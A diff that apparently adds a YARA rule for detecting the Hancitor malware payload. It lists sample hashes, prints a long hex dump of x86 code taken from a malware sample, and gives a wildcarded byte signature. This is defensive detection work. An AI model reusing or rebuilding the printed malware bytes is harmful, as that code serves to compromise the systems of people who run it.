+00ded1b849e87b266e63924bf17e7e142899d1dd57d6085ec6490c29c65c6008_S2.exe
+00e67a9a4b5be7bd31fbc88bb3b6e34107f1a93b2b6dab0598cedcfb410fe256_S2.exe
+00e706f9118c32ed1cd3ce9e0444053c47daffc3e7e53b32061ec039834292ca_S2.exe
+00f0424b7659c7ec499c70cfcea411f71672fc89c92f564bf11b0a043059d2dd_S2.exe
+
+BYTES:
+
+558bec833d805b400000750bff1540404000a3805b4000833d805b40000074158b4508506a008b0d805b400051ff1544404000eb0233c05dc3cccccccccccccc558bec833d805b40000074138b4508506a008b0d805b400051ff15484040005dc3cccccccccccccccccccccccccccccc558bec83ec088b45088945f88b4d10894dfc8b551083ea01895510837dfc0074138b45088a4d0c88088b550883c201895508ebd88b45f88be55dc3cccccccccc558bec83ec088b45088945f88b4d10894dfc8b551083ea01895510837dfc00741e8b45088b4d0c8a1188108b450883c0018945088b4d0c83c101894d0cebcd8b45f88be55dc3cccccccccccccccccccc558bec833d885b400000750ac705885b40005c504000b80100000085c074498b0d885b40000fbe1183fa7c740ca1885b40000fbe0885c975088b5508c60200eb278b45088b0d885b40008a1188108b450883c0018945088b0d885b400083c101890d885b4000ebae8b15885b40000fbe0283f87c750f8b0d885b400083c101890d885b40008b15885b40000fbe0285c0750ec705885b40000000000033c0eb05b8010000005dc3cccccccccccccccccc558bec833d845b40000075186a006a006a006a006880414000ff1514414000a3845b4000a1845b40005dc3cccccccccc558bec81ec74020000a10450400033c58945fc6a3c6a008d85a8fdffff50e86dfeffff83c40cc785a8fdffff3c0000008d8df8feffff898db8fdffffc785bcfdffff040100008d95f4fdffff8995d4fdffffc785d8fdffff040100008d85a8fdffff506a006a008b4d0c51ff151041400085c0750733c0e97902000083bdb4fdffff00750ac785b4fdffff0300000083bdb4fdffff03741083bdb4fdffff04740733c0e94d020000e823ffffff898594fdffff83bd94fdffff00750733c0e932020000668b95c0fdffff6689959cfdffffc78598fdffff0081088483bdb4fdffff0475118b8598fdffff0d00308000898598fdffff6a006a006a036a006a000fb78d9cfdffff518d95f8feffff528b8594fdffff50ff150c4140008985a0fdffff83bda0fdffff00750733c0e9c4010000837d0801750cc78590fdffffc8414000eb0ac78590fdffffd04140006a008b8d98fdffff5168085040006a006a008d95f4fdffff528b8590fdffff508b8da0fdffff51ff15084140008985a4fdffff83bda4fdffff0075148b95a0fdffff52ff150441400033c0e95801000083bdb4fdffff047550c785e8fdffff040000008d85e8fdffff508d8df0fdffff516a1f8b95a4fdffff52ff15004140008b85f0fdffff0d001100008985f0fdffff6a048d8df0fdffff516a1f8b95a4fdffff52ff1518414000c7858cfdffff00000000837d100074108b451050ff154c40400089858cfdffff8b8d8cfdffff518b5510526810504000ff154c4040005068105040008b85a4fdffff50ff15f4404000c785ecfdffff00000000c785e4fdffff040000006a008d8de4fdffff518d95ecfdffff5268130000208b85a4fdffff50ff15f840400081bdecfdffffc80000007545837d1400743f8b4d1c518b551883ea01528b4514508b8da4fdffff51ff15fc40400085c074168b551c833a00760e8b451c8b088b5514c6040a00eb098b451cc700000000008b8da4fdffff51ff15044140008b95a0fdffff52ff150441400081bdecfdffffc80000007507b801000000eb0233c08b4dfc33cde8b42400008be55dc3cccccccccccccccccccccccccc558bec8b4518508b4d14518b5510528b450c508b4d08516a01e8d2fcffff83c4185dc3cccccccccccccccccccccccccc558bec8b4518508b4d14518b5510528b450c508b4d08516a00e8a2fcffff83c4185dc3cccccccccccccccccccccccccc558bec81ec74020000a10450400033c58945fc6a3c6a008d85a4fdffff50e8fdfaffff83c40cc785a4fdffff3c0000008d8df8feffff898db4fdffffc785b8fdffff040100008d95f4fdffff8995d0fdffffc785d4fdffff040100008d85a4fdffff506a006a008b4d0851ff151041400085c0750733c0e97402000083bdb0fdffff00750ac785b0fdffff0300000083bdb0fdffff03741083bdb0fdffff04740733c0e948020000e8b3fbffff898590fdffff83bd90fdffff00750733c0e92d020000ba500000006689959cfdffffc78594fdffff0081088483bdb0fdffff04751eb8bb0100006689859cfdffff8b8d94fdffff81c900308000898d94fdffff6a016a006a036a006a000fb7959cfdffff528d85f8feffff508b8d90fdffff51ff150c414000898598fdffff83bd98fdffff00750733c0e9b40100006a018b9594fdffff5268085040006a006a008d85f4fdffff5068d44140008b8d98fdffff51ff15084140008985a0fdffff83bda0fdffff0075148b9598fdffff52ff150441400033c0e96601000083bdb0fdffff047550c785e8fdffff040000008d85e8fdffff508d8df0fdffff516a1f8b95a0fdffff52ff15004140008b85f0fdffff0d001100008985f0fdffff6a048d8df0fdffff516a1f8b95a0fdffff52ff15184140006a006a006810504000ff154c4040005068105040008b85a0fdffff50ff15f4404000c785ecfdffff00000000c785e4fdffff040000006a008d8de4fdffff518d95ecfdffff5268130000208b85a0fdffff50ff15f840400081bdecfdffffc8000000757a837d0c0074748b4d14c70100000000ba0100000085d274628d85e0fdffff508b4d10518b550c528b85a0fdffff50ff15fc40400089858cfdffff83bd8cfdffff01753383bde0fdffff00742a8b4d0c038de0fdffff894d0c8b55102b95e0fdffff8955108b45148b08038de0fdffff8b5514890aeb02eb02eb958b85a0fdffff50ff15044140008b8d98fdffff51ff150441400081bdecfdffffc80000007507b801000000eb0233c08b4dfc33cde8492100008be55dc3cccc558bec81ec14010000a10450400033c58945fc68040100008d85f8feffff50ff15504040008985ecfeffff83bdecfeffff00745bb9010000006bd1038995f0feffff81bdf0feffff040100007302eb05e8222200008b85f0feffffc68405f8feffff006a006a006a006a008d8df4feffff516a006a008d95f8feffff52ff155440400085c074088b85f4feffffeb0233c08b4dfc33cde8a82000008be55dc3cc558bec83ec2ca10450400033c58945fc0f57c0660f1345e4c745f0008000008b45f050e8e8f6ffff83c4048945e08b4de0894dec8d55f0528b45ec506a006a006a02ff151c4040008945dc837ddc00754d837dec0074476a086a008d4df451e81cf7ffff83c40c8b55ec8b4234508b4dec83c12c518d55f452e842f7ffff83c40c8b45e43345f48b4de8334df88945e4894de88b55ec8b42088945ecebb38b4de051e8a9f6ffff83c404e8b1feffff33d28945d48955d88b45d48b55d8b120e8fc2100003345e43355e88b4dfc33cde8cf1f00008be55dc3cccccccccccccccc558beca1385c40000b053c5c40007510e80bffffffa3385c400089153c5c4000a1385c40008b153c5c40005dc3cccccc558bec83ec08a10450400033c58945fcb8010000006bc8000fbe91145c400085d2741668145c40008b450850ff1558404000b801000000eb468d4df8516a2068145c40006a0068d8414000e8d0faffff83c41483f801751668145c40008b550852ff1558404000b801000000eb1168f04140008b450850ff155840400033c08b4dfc33cde80a1f00008be55dc3cccccc558bec81ec0c020000a10450400033c58945fcc785f8fdffff00010000c785f4fdffff000000008d85f8fdffff508b8df8fdffff518d95fcfdffff5268f8414000e87afaffff83c41083f801755db8010000006bc8000fbe940dfcfdffff83fa3c7548b801000000c1e0000fbe8c05fcfdffff83f9217533ba01000000d1e20fbe8415fcfdffff83f864751fb9010000006bd1030fbe8415fcfdffff83f86f750ac785f4fdffff010000008b85f4fdffff8b4dfc33cde8481e00008be55dc3cc558becb8010000006bc8008b55080fbe040a83f87b757eb901000000d1e18b55080fbe040a83f83a756bb901000000c1e1008b55080fbe040a83f8727450b901000000c1e1008b55080fbe040a83f875743cb901000000c1e1008b55080fbe040a83f8647428b901000000c1e1008b55080fbe040a83f86c7414b901000000c1e1008b55080fbe040a83f86e7507b801000000eb0233c05dc3cccccccccccccc558becb801000000c1e0008b4d080fbe140183fa3a756bb8010000006bc8008b55080fbe040a83f8727450b9010000006bd1008b45080fbe0c1083f975743cba010000006bc2008b4d080fbe140183fa647428b8010000006bc8008b55080fbe040a83f86c7414b9010000006bd1008b45080fbe0c1083f96e7507b801000000eb0233c05dc3cccccccccccccccccccc558bec81ec44050000a10450400033c58945fcff155c4040008985d8faffffe82cfdffff8985bcfaffff8995c0faffff8d85dcfeffff50e8040c000083c4048d4ddc51e838fdffff83c4048b95d8faffff81e2ffff00000fb7c225ff0000000fb6c8898dc4faffff8b95d8faffff81e2ffff00000fb7c2c1e80825ff0000000fb6c8898dc8faffffe8131c00008985ccfaffff83bdccfaffff01750cc785d4faffff0c424000eb0ac785d4faffff104240008b95d4faffff528b85c8faffff508b8dc4faffff518d55dc528d85dcfeffff50684c5040008b8dc0faffff518b95bcfaffff5268144240008d85dcfaffff50ff15ec40400083c428833d105c40000075236800040000e873f2ffff83c404a3105c4000b9010000006bd100a1105c4000c6041000c785d0faffff0100000083bdd0faffff010f858b000000b9010000006bd100a1105c40000fbe0c1085c975158b15105c400052e822f3ffff
+
+*/
+
+rule hancitor_payload
+    {
+        meta:
+            author      = "Jeff White - jwhite@paloalnetworks.com @noottrak"
+            date        = "26AUG2016"
+            reference   = "https://github.com/pan-unit42/public_tools/tree/master/hancitor"
+
+
+        strings:
+            $byte_code = { 5? 8? ?? 83 ?? ?? ?? ?? ?? ?? 75 ?? FF ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 74 ?? 8? ?? ?? 5? 6A ?? 8? ?? ?? ?? ?? ?? 5? FF ?? ?? ?? ?? ?? EB ?? 33 ?? 5D C3 CC CC CC CC CC CC CC 5? 8? ?? 83 ?? ?? ?? ?? ?? ?? 74 ?? 8? ?? ?? 5? 6A ?? 8? ?? ?? ?? ?? ?? 5? FF ?? ?? ?? ?? ?? 5D C3 CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC 5? 8? ?? 83 ?? ?? 8? ?? ?? 8? ?? ?? 8? ?? ?? 8? ?? ?? 8? ?? ?? 83 ?? ?? 8? ?? ?? 83 ?? ?? ?? 74 ?? 8? ?? ?? 8? ?? ?? 8? ?? 8? ?? ?? 83 ?? ?? 8? ?? ?? EB ?? 8? ?? ?? 8? ?? 5D C3 CC CC CC CC CC 5? 8? ?? 83 ?? ?? 8? ?? ?? 8? ?? ?? 8? ?? ?? 8? ?? ?? 8? ?? ?? 83 ?? ?? 8? ?? ?? 83 ?? ?? ?? 74 ?? 8? ?? ?? 8? ?? ?? 8? ?? 8? ?? 8? ?? ?? 83 ?? ?? 8? ?? ?? 8? ?? ?? 83 ?? ?? 8? ?? ?? EB ?? 8? ?? ?? 8? ?? 5D C3 CC CC CC CC CC CC CC CC CC CC 5? 8? ?? 83 ?? ?? ?? ?? ?? ?? 75 ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 85 ?? 74 ?? 8? ?? ?? ?? ?? ?? 0F BE ?? 83 ?? ?? 74 ?? A1 ?? ?? ?? ?? 0F BE ?? 85 ?? 75 ?? 8? ?? ?? C6 ?? ?? EB ?? 8? ?? ?? 8? ?? ?? ?? ?? ?? 8? ?? 8? ?? 8? ?? ?? 83 ?? ?? 8? ?? ?? 8? ?? ?? ?? ?? ?? 83 ?? ?? 8? ?? ?? ?? ?? ?? EB ?? 8? ?? ?? ?? ?? ?? 0F BE ?? 83 ?? ?? 75 ?? 8? ?? ?? ?? ?? ?? 83 ?? ?? 8? ?? ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 0F BE ?? 85 ?? 75 ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 33 ?? EB ?? B8 ?? ?? ?? ?? 5D C3 CC CC CC CC CC CC CC CC CC 5? 8? ?? 83 ?? ?? ?? ?? ?? ?? 75 ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? A1 ?? ?? ?? ?? 5D C3 CC CC CC CC CC 5? 8? ?? 81 ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 8? ?? ?? 6A ?? 6A ?? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 6A ?? 6A ?? 8? ?? ?? 5? FF ?? ?? ?? ?? ?? 85 ?? 75 ?? 33 ?? E9 ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 75 ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 74 ?? 83 ?? ?? ?? ?? ?? ?? 74 ?? 33 ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 75 ?? 33 ?? E9 ?? ?? ?? ?? 66 8B ?? ?? ?? ?? ?? 66 89 ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 75 ?? 8? ?? ?? ?? ?? ?? 0D ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 0F B7 ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? 8? ?? ?? ?? ?? ?? 5? FF ?? ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 75 ?? 33 ?? E9 ?? ?? ?? ?? 83 ?? ?? ?? 75 ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? EB ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 8? ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 6A ?? 6A ?? 8D ?? ?? ?? ?? ?? 5? 8? ?? ?? ?? ?? ?? 5? 8? ?? ?? ?? ?? ?? 5? FF ?? ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 75 ?? 8? ?? ?? ?? ?? ?? 5? FF ?? ?? ?? ?? ?? 33 ?? E9 ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 75 ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? 6A ?? 8? ?? ?? ?? ?? ?? 5? FF ?? ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 0D ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 6A ?? 8D ?? ?? ?? ?? ?? 5? 6A ?? 8? ?? ?? ?? ?? ?? 5? FF ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 83 ?? ?? ?? 74 ?? 8? ?? ?? 5? FF ?? ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 5? 8? ?? ?? 5? 68 ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 5? FF ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 5? FF ?? ?? ?? ?? ?? 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? 75 ?? 83 ?? ?? ?? 74 ?? 8? ?? ?? 5? 8? ?? ?? 83 ?? ?? 5? 8? ?? ?? 5? 8? ?? ?? ?? ?? ?? 5? FF ?? ?? ?? ?? ?? 85 ?? 74 ?? 8? ?? ?? 83 ?? ?? 76 ?? 8? ?? ?? 8? ?? 8? ?? ?? C6 ?? ?? ?? EB ?? 8? ?? ?? C7 ?? ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 5? FF ?? ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 5? FF ?? ?? ?? ?? ?? 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 33 ?? 8? ?? ?? 33 ?? E8 ?? ?? ?? ?? 8? ?? 5D C3 CC CC CC CC CC CC CC CC CC CC CC CC CC 5? 8? ?? 8? ?? ?? 5? 8? ?? ?? 5? 8? ?? ?? 5? 8? ?? ?? 5? 8? ?? ?? 5? 6A ?? E8 ?? ?? ?? ?? 83 ?? ?? 5D C3 CC CC CC CC CC CC CC CC CC CC CC CC CC 5? 8? ?? 8? ?? ?? 5? 8? ?? ?? 5? 8? ?? ?? 5? 8? ?? ?? 5? 8? ?? ?? 5? 6A ?? E8 ?? ?? ?? ?? 83 ?? ?? 5D C3 CC CC CC CC CC CC CC CC CC CC CC CC CC 5? 8? ?? 81 ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 8? ?? ?? 6A ?? 6A ?? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 6A ?? 6A ?? 8? ?? ?? 5? FF ?? ?? ?? ?? ?? 85 ?? 75 ?? 33 ?? E9 ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 75 ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 74 ?? 83 ?? ?? ?? ?? ?? ?? 74 ?? 33 ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 75 ?? 33 ?? E9 ?? ?? ?? ?? BA ?? ?? ?? ?? 66 89 ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? 66 89 ?? ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 81 ?? ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 0F B7 ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? 8? ?? ?? ?? ?? ?? 5? FF ?? ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 75 ?? 33 ?? E9 ?? ?? ?? ?? 6A ?? 8? ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 6A ?? 6A ?? 8D ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 5? FF ?? ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 75 ?? 8? ?? ?? ?? ?? ?? 5? FF ?? ?? ?? ?? ?? 33 ?? E9 ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 75 ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? 6A ?? 8? ?? ?? ?? ?? ?? 5? FF ?? ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 0D ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 6A ?? 8D ?? ?? ?? ?? ?? 5? 6A ?? 8? ?? ?? ?? ?? ?? 5? FF ?? ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 5? FF ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 5? FF ?? ?? ?? ?? ?? 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? 75 ?? 83 ?? ?? ?? 74 ?? 8? ?? ?? C7 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 85 ?? 74 ?? 8D ?? ?? ?? ?? ?? 5? 8? ?? ?? 5? 8? ?? ?? 5? 8? ?? ?? ?? ?? ?? 5? FF ?? ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 75 ?? 83 ?? ?? ?? ?? ?? ?? 74 ?? 8? ?? ?? 03 ?? ?? ?? ?? ?? 8? ?? ?? 8? ?? ?? 2B ?? ?? ?? ?? ?? 8? ?? ?? 8? ?? ?? 8? ?? 03 ?? ?? ?? ?? ?? 8? ?? ?? 8? ?? EB ?? EB ?? EB ?? 8? ?? ?? ?? ?? ?? 5? FF ?? ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 5? FF ?? ?? ?? ?? ?? 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 33 ?? 8? ?? ?? 33 ?? E8 ?? ?? ?? ?? 8? ?? 5D C3 CC CC 5? 8? ?? 81 ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 8? ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? FF ?? ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 74 ?? B9 ?? ?? ?? ?? 6B ?? ?? 8? ?? ?? ?? ?? ?? 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? 73 ?? EB ?? E8 ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 8D ?? ?? ?? ?? ?? 5? 6A ?? 6A ?? 8D ?? ?? ?? ?? ?? 5? FF ?? ?? ?? ?? ?? 85 ?? 74 ?? 8? ?? ?? ?? ?? ?? EB ?? 33 ?? 8? ?? ?? 33 ?? E8 ?? ?? ?? ?? 8? ?? 5D C3 CC 5? 8? ?? 83 ?? ?? A1 ?? ?? ?? ?? 33 ?? 8? ?? ?? 0F 57 ?? 66 0F 13 ?? ?? C7 ?? ?? ?? ?? ?? ?? 8? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8? ?? ?? 8? ?? ?? 8? ?? ?? 8D ?? ?? 5? 8? ?? ?? 5? 6A ?? 6A ?? 6A ?? FF ?? ?? ?? ?? ?? 8? ?? ?? 83 ?? ?? ?? 75 ?? 83 ?? ?? ?? 74 ?? 6A ?? 6A ?? 8D ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8? ?? ?? 8? ?? ?? 5? 8? ?? ?? 83 ?? ?? 5? 8D ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8? ?? ?? 33 ?? ?? 8? ?? ?? 33 ?? ?? 8? ?? ?? 8? ?? ?? 8? ?? ?? 8? ?? ?? 8? ?? ?? EB ?? 8? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? E8 ?? ?? ?? ?? 33 ?? 8? ?? ?? 8? ?? ?? 8? ?? ?? 8? ?? ?? B1 ?? E8 ?? ?? ?? ?? 33 ?? ?? 33 ?? ?? 8? ?? ?? 33 ?? E8 ?? ?? ?? ?? 8? ?? 5D C3 CC CC CC CC CC CC CC CC 5? 8? ?? A1 ?? ?? ?? ?? 0B ?? ?? ?? ?? ?? 75 ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 5D C3 CC CC CC 5? 8? ?? 83 ?? ?? A1 ?? ?? ?? ?? 33 ?? 8? ?? ?? B8 ?? ?? ?? ?? 6B ?? ?? 0F BE ?? ?? ?? ?? ?? 85 ?? 74 ?? 68 ?? ?? ?? ?? 8? ?? ?? 5? FF ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? EB ?? 8D ?? ?? 5? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? 75 ?? 68 ?? ?? ?? ?? 8? ?? ?? 5? FF ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? EB ?? 68 ?? ?? ?? ?? 8? ?? ?? 5? FF ?? ?? ?? ?? ?? 33 ?? 8? ?? ?? 33 ?? E8 ?? ?? ?? ?? 8? ?? 5D C3 CC CC CC 5? 8? ?? 81 ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 8? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 8? ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? 75 ?? B8 ?? ?? ?? ?? 6B ?? ?? 0F BE ?? ?? ?? ?? ?? ?? 83 ?? ?? 75 ?? B8 ?? ?? ?? ?? C1 ?? ?? 0F BE ?? ?? ?? ?? ?? ?? 83 ?? ?? 75 ?? BA ?? ?? ?? ?? D1 ?? 0F BE ?? ?? ?? ?? ?? ?? 83 ?? ?? 75 ?? B9 ?? ?? ?? ?? 6B ?? ?? 0F BE ?? ?? ?? ?? ?? ?? 83 ?? ?? 75 ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 8? ?? ?? 33 ?? E8 ?? ?? ?? ?? 8? ?? 5D C3 CC 5? 8? ?? B8 ?? ?? ?? ?? 6B ?? ?? 8? ?? ?? 0F BE ?? ?? 83 ?? ?? 75 ?? B9 ?? ?? ?? ?? D1 ?? 8? ?? ?? 0F BE ?? ?? 83 ?? ?? 75 ?? B9 ?? ?? ?? ?? C1 ?? ?? 8? ?? ?? 0F BE ?? ?? 83 ?? ?? 74 ?? B9 ?? ?? ?? ?? C1 ?? ?? 8? ?? ?? 0F BE ?? ?? 83 ?? ?? 74 ?? B9 ?? ?? ?? ?? C1 ?? ?? 8? ?? ?? 0F BE ?? ?? 83 ?? ?? 74 ?? B9 ?? ?? ?? ?? C1 ?? ?? 8? ?? ?? 0F BE ?? ?? 83 ?? ?? 74 ?? B9 ?? ?? ?? ?? C1 ?? ?? 8? ?? ?? 0F BE ?? ?? 83 ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 33 ?? 5D C3 CC CC CC CC CC CC CC 5? 8? ?? B8 ?? ?? ?? ?? C1 ?? ?? 8? ?? ?? 0F BE ?? ?? 83 ?? ?? 75 ?? B8 ?? ?? ?? ?? 6B ?? ?? 8? ?? ?? 0F BE ?? ?? 83 ?? ?? 74 ?? B9 ?? ?? ?? ?? 6B ?? ?? 8? ?? ?? 0F BE ?? ?? 83 ?? ?? 74 ?? BA ?? ?? ?? ?? 6B ?? ?? 8? ?? ?? 0F BE ?? ?? 83 ?? ?? 74 ?? B8 ?? ?? ?? ?? 6B ?? ?? 8? ?? ?? 0F BE ?? ?? 83 ?? ?? 74 ?? B9 ?? ?? ?? ?? 6B ?? ?? 8? ?? ?? 0F BE ?? ?? 83 ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 33 ?? 5D C3 CC CC CC CC CC CC CC CC CC CC 5? 8? ?? 81 ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 8? ?? ?? FF ?? ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8D ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8? ?? ?? ?? ?? ?? 81 ?? ?? ?? ?? ?? 0F B7 ?? 25 ?? ?? ?? ?? 0F B6 ?? 8? ?? ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 81 ?? ?? ?? ?? ?? 0F B7 ?? C1 ?? ?? 25 ?? ?? ?? ?? 0F B6 ?? 8? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 75 ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? EB ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 5? 8? ?? ?? ?? ?? ?? 5? 8? ?? ?? ?? ?? ?? 5? 8D ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 5? 8? ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? FF ?? ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? ?? ?? ?? ?? 75 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? A3 ?? ?? ?? ?? B9 ?? ?? ?? ?? 6B ?? ?? A1 ?? ?? ?? ?? C6 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 6B ?? ?? A1 ?? ?? ?? ?? 0F BE ?? ?? 85 ?? 75 ?? 8? ?? ?? ?? ?? ?? 5? (E8|FF) }
+
+        condition:
+            uint16be(0) == 0x4D5A and $byte_code
+}
+
+/*
+
+SAMPLES:
+
+0002218f5c47ef709e390288e4268a02bb9d9087a996bb55d3a9c23d68a46760_S1.exe
+006495c7fb7388f0513a24d9d09bf9517d5a3fd05c0da7d39311f6e6cf0f8fe3_S1.exe
